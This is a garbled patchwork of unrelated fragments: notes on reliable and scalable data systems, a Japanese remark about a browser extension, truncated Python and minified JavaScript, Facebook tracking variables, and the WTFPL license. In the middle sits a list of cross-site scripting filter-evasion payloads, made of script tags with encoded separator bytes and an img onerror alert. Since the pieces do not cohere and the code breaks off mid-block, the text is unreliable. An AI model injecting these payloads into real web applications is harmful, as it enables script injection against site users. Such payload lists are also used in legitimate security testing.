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Chapter 1: Reliable, Scalable, and Maintainable Applications

Data Systems
- Dimensions to consider when thinking about data systems: access patterns, performance characteristics, implementations.
- Modern data systems often blur the lines between databases, caches, streams, etc.
Reliability
- Systems should perform the expected function at a given level of performance, and be tolerant to faults and user mistakes
- Fault: One component of a system deviating from its spec. Prefer tolerating faults over preventing them (except for things like security issues). Faults stem from hardware failures, software failures, and human error (in a study, config errors caused most outages).
- Failure: The system as a whole not working
Scalability

Chrome ExtensionのLive HTTP Headersを調査した。Firefox用のものではない。Firefox用のものではない。

11/7追記

Summary in english.

	import os
	import shutil

	"""
	Steps to retrieve the IPA file from the Configurator app:

	1. Install Apple Configurator from the Mac App Store and sign in
	2. Connect your iOS device to your Mac
	3. Select "Add > Apps..." and search for the app you want to install, click "Add"
	4. The newer Apple Configurator deletes the IPA after installing it, so you'll need to use this tool to grab it

	__SSTOKENSTRING = "@generated SignedSource<<dbe928e1275c495c1922c1bf063ffb70>>";
	! function(e) {
	function t(e) {
	function t() {
	var t = Array.prototype.map.call(arguments, function(e) {
	if (null == e) return null === e ? "null" : "undefined";
	if ("string" == typeof e) return '"' + e + '"';
	try {
	return JSON.stringify(e)

	#!/usr/bin/env python3

	import requests
	import sys
	from bs4 import BeautifulSoup
	from urllib.parse import urljoin
	import random
	import logging
	import time



	var org_str = "j8ck72di";
	var session_str = "4734a9fc27f7fee1aa58f66046af6c49";
	var base_str = "https://ct-m-fbx.fbsbx.com/fp";
	var page_id = "1";
	var ip_addr_str = "820139e7306525d7";
	var tarpitting_param = "";
	var carrier_id_enabled = "false";
	var flash_tags = "true";

	<script\x20type="text/javascript">javascript:alert(1);</script>
	<script\x3Etype="text/javascript">javascript:alert(1);</script>
	<script\x0Dtype="text/javascript">javascript:alert(1);</script>
	<script\x09type="text/javascript">javascript:alert(1);</script>
	<script\x0Ctype="text/javascript">javascript:alert(1);</script>
	<script\x2Ftype="text/javascript">javascript:alert(1);</script>
	<script\x0Atype="text/javascript">javascript:alert(1);</script>
	'`"><\x3Cscript>javascript:alert(1)</script>
	'`"><\x00script>javascript:alert(1)</script>
	<img src=1 href=1 onerror="javascript:alert(1)"></img>

	DO WHAT THE FUCK YOU WANT TO PUBLIC LICENSE
	Version 2, December 2004

	Copyright (C) 2011 YOUR_NAME_HERE <YOUR_URL_HERE>

	Everyone is permitted to copy and distribute verbatim or modified
	copies of this license document, and changing it is allowed as long
	as the name is changed.

	DO WHAT THE FUCK YOU WANT TO PUBLIC LICENSE